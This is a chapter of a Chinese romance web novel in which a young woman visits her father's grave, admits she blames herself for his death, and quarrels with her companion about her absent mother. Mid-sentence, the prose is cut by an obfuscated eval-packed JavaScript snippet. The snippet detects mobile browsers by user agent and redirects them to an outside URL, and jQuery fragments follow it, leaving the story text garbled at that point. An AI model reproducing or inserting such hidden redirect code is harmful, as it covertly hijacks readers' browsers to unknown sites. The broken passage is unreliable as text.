24. 欲盖弥彰

作品:《梦里就不要be了

    这里唯一的墓园建在远郊,是周边大部分村民的最后归宿,据说很久以前还崇尚家族墓,也不知道什么时候做出了改变。


    两人从镇上买了一束百合,几经波折才绕到一座有些陈旧的墓碑前。这是夏星眠第几次来看他?第三次......还是第四次?反正不是第五次。


    墓碑上男人的笑容很纯粹,眼里的星光被永久定格,风吹日晒雨淋都磨不灭。夏星眠只轻轻地看了他一眼,然后默默地放下百合。


    她不是不孝,不是不想,只是不敢面对他的笑容。


    顾森静静地站在一旁,等夏星眠退开几步后向他鞠了个躬。趁她不注意,他轻微挪了挪步子,又十分郑重地鞠了一躬。


    向着,外面世界里长眠于此的他们。


    “我不知道该怪谁。”夏星眠低着头,语气却十分平静,“我接受不了意外两个字。”


    所以,她只能怪她自己。


    如果当时的她没有执拗到一定要吃草莓口味的生日蛋糕,他们就不会走那条路,她爸爸就不会遇到不知道从哪里窜出来的男孩,就不会为了救他被车撞飞,她妈妈也不会抛弃她。


    万恶的根源就是她的幼稚。明明已经十二岁了,什么口味的蛋糕重要吗?明明已经十二岁了,为什么不能懂事一点?她也曾转嫁过这份愧疚,无声质问她的爸爸为什么要迁就她?为什么......要这么爱她。


    她始终不敢抬头,墓碑前的杂草也渐渐模糊。


    一个被爱小心翼翼浇灌到大的孩子,究竟要有多大勇气才能接受一瞬间的破碎?


    顾森很想把她拥入怀中,可他拼命克制着,他要逼自己让她去独自面对。而且此刻的他,理应只是一个听不懂她喃喃自语的旁观者。


    他们就这样各怀心事地站了几分钟,原先恰到好处的暖阳也被阴云遮盖,夏星眠的视线终于重新清晰起来。


    “告诉你吧,你眼光有点差劲,我根本不好。”她转过身朝顾森笑了一下,“我害死了我爸,我是个杀人犯。”


    男孩乱穿马路,司机超速行驶,单拎出来都是小错误,百分之一的概率让两者碰撞,千分之一的概率让第三者买单,万分之一的概率让这个第三者的后代揽下一切罪责。


    “这么说......你心里会好受一点吗?”顾森直直地望着她。


    夏星眠有些错愣。


    “那你能不能告诉我......”他缓缓靠近,“你是怎么害死了你爸爸?”


    事情刚发生的时候,周遭难免会有闲言碎语,尤其是当她妈妈问起他们为什么会走到那里,她回答不出来。后来她开始慢慢习惯没有爸爸接送上下学的生活,对死亡的感知也越来越清晰。


    那个时候班里正流传着推理漫画,“凶手到底是谁”“是谁害死了他”等问题天天缠在她耳畔。她对事情的看法变了,也很明显地感受到妈妈和她的距离远了。直到两个月后,妈妈突然提出想让她转学,村里新建了一所一贯制学校,户籍招生,她要是去了可以免除升学的压力。


    她听到的时候很高兴,以为妈妈对她的爱终于回来了,而且她也确实受不了同学们因为某个虚构的凶手不停吵嚷。


    新学校报道的第一天,是妈妈送她去的,那也是至今为止她最后一次见到她。


    夏星眠提高了嘴角的弧度,把那些揉在她骨血里的稀碎的过往吐了出来,不过她此刻只是一个旁观者,基于客观事实讲述了一段有点悲凉的故事。


    说完后,她甚至有点期待顾森的评价。评价她是一个合格的凶手。


    “能原谅男孩,能宽恕司机,能理解你的母亲......”顾森顿了顿,带着猩红的目光沉沉压下,“为什么不肯放过你自己?”


    “不。”夏星眠平静道,“没有原谅,没有宽恕,更不能理解。我只是单纯觉得,根源在我。”


    彼时的她实在太小,不懂,不过她始终记得男孩以及他家人的冷漠,司机的推脱,妈妈的无情......那些东西随着血肉疯狂生长,不知不觉便困住了她。时至今日,再难瓦解。


    所以她骨子里,对人对事,本应持着灰色的态度,对助人为乐一说更是不屑一顾。可真正遇到了,下意识的反应却还是......多管闲事。


    “原来这就是你不想为我所知的秘密。”顾森退了两步,“那你现在告诉我,是我已经值得走进你心里了吗?”


    夏星眠万万没想到他会说这种话,一时之间像被封了口,根本不知道该怎么回复。


    她想过被他嘲笑,想过他会害怕,甚至想过他会就此离开她。


    右肩缓缓跃上一股力量,夏星眠顺着它转身,和朗目疏眉的父亲对视,耳边传来顾森严肃却不乏亲和的声音:“夏诚先生,感谢您把您的爱女送到我身边。听到她刚刚说的话,您一定很难受吧?您这么爱她,怎么会容许她把自己说成那样呢?您放心,我知道该怎么做,我一定会成功把那个爱吃草莓蛋糕的女孩还给您。”


    阴云散了,几缕阳光不偏不倚落到照片上,他的笑容似乎更舒展了。


    这一次她没有避开他的笑容,哪怕眼睛酸得不行,哪怕眼泪快憋不住了,她仍旧看着他。


    “眠眠别怕,眠眠不哭。”


    这是倒在血泊里的爸爸留在这个世界上的最后一句话,可是此刻,夏星眠仿佛又听到了他的声音,但又有点不像。不过除了回忆跳脱也没有别的可能了,顾森不可能知道这八个字。


    他搂着她的肩膀,目光掠过墓碑飘向远方。


    “放心,我一定带她走出去。”他默念。


    回家的路已经洒上夕阳,夏星眠一言不发地陷在副驾上,心里空落落的。这一番际遇对她来说意味着什么呢?似乎什么都没有改变。等她下次心血来潮,或许依旧不会直面他的笑容。排除外力因素的话。


    “一贯制学校......”顾森忽然开口,“学费不便宜吧。”


    小学、初中、高中全部囊括,而且是新建的。夏星眠并不清楚,但那里对她来说确实是改命的地方。


    她本身基础不弱,就是高中那会学得吃力了点,花费的时间也比较多,但绝对不像现在的小学生就被安排上晚自习那么夸张。


    “应该还好吧。”夏星眠有气无力地说,“我不是很清楚。”


    这件事说来也有点奇怪,每一学年开始的时候,班里总有那么几个学生不需要自己掏出大信封,其中之一便是她。后来她才知道是爷爷奶奶亲自交给了老师,她还会每个星期拿到两百块钱的零花。


    不过她不用钱,吃住都在学校,偶尔会去镇上转悠买点小东西,那些钱都被她偷偷攒起来以应付日后的大学生活。她要上大学。可是大学的学费


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911098|191537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    很贵,恐怕不是爷爷奶奶一筐一筐蔬菜背出去就能换回来的,而且她也不忍心让老人家操心劳命。


    助学贷款、勤工俭学,两条路她都已经考虑好了,高考完的那个暑假她就开始在镇上打零工。


    可她辞家的前一天晚上,奶奶突然递给她一张银行卡,说是当年爸爸车祸赔的钱。他们一直没动,就等她考上大学。


    她没要。


    那是给她爸爸的,她没脸要。


    至于数额,她至今不知道。


    “意外,或多或少会有赔偿。”顾森缓缓道,“财产分割,你作为你爸爸的继承人,妈妈又出走,那笔钱应该会落到你爷爷奶奶手里......”


    “你为什么要跟我说这个?”夏星眠有点生气。


    她的心情本来就起伏不定,也不知道是抱着什么样的心思把当年的事说了出来,更不清楚现在该怎么面对顾森。


    他倒好,竟然还毫无顾忌地往她枪口上撞。


    “抱歉,我只是觉得......或许你的妈妈从来没有抛弃你。”


    夏星眠倏地一愣。


    “那几年的开销应该远比你想象中大,就算你爷爷奶奶起早贪黑,也很有可能只够学费。”顾森说,“如果你在学习之余根本不用为食宿操心,甚至还能拿到一点零花钱,只能说明有人在背后默默为你填上了这个窟窿。”


    片刻的沉默后,夏星眠发出一声冷笑:“你不会是想说是我妈妈吧?”


    那个消失得彻底的女人,怎么可能还会记挂着她?但凡对她保留着哪怕一点爱,都不会这么多年毫无音讯。


    说不恨是假的。可她不得不承认,也许在张嘉玲眼里,就是她的女儿害死了她的爱人。所以对于她的离开,说悔恨会更贴切一点。


    “夫妻过于恩爱,你妈妈接受不了你爸爸的离开,所以她不知道该怎么面对你,干脆一走了之......”


    残酷的话一刀一刀割开她的伤疤。


    “不只是这样。”夏星眠攥紧拳头,指尖嵌进皮肉,“她恨我。”


    “那你觉得她是恨你多一点,还是爱你爸爸多一点?”顾森的声音低了几度。


    又是一个无厘头的问题,夏星眠缓缓松开拳头,似笑非笑地苦哼一声:“不知道,应该是爱我爸爸多一点吧。”


    “既然你是她爱人的遗物,她又怎么会恨你呢?”


    夏星眠终于忍不住笑出了声:“顾森,你这种话到底是从哪里学来的?”


    有时候,她真恨不得堵上这个家伙的嘴,误解话意歪曲事实不说,还自以为能安慰到她,实际上就是在想方设法一点一点扒开她不愿触碰的过往。


    “你以为你这样说我就会好受一些吗?”她双目通红,愤然扭头盯着他的侧脸,“你凭什么用那些自以为是的道理来绑架我?”


    “刺啦”一声,顾森踩下刹车,没有去迎她的愤怒,也没有做出任何回应,似乎想等着她自己冷静下来。


    可这一次,夏星眠冷静不了。尽管心底一直有什么东西拉着她的冲劲,她却发了疯般反抗着,试图把积攒多年的怨恨不甘尽数发泄到本意只是想开解她的男人身上。


    “进去看看吗?”顾森没由来地说。


    夏星眠这才发觉这辆车竟然又开到了小镇上,而他手指的方向,正是那家给她带来噩梦的蛋糕店。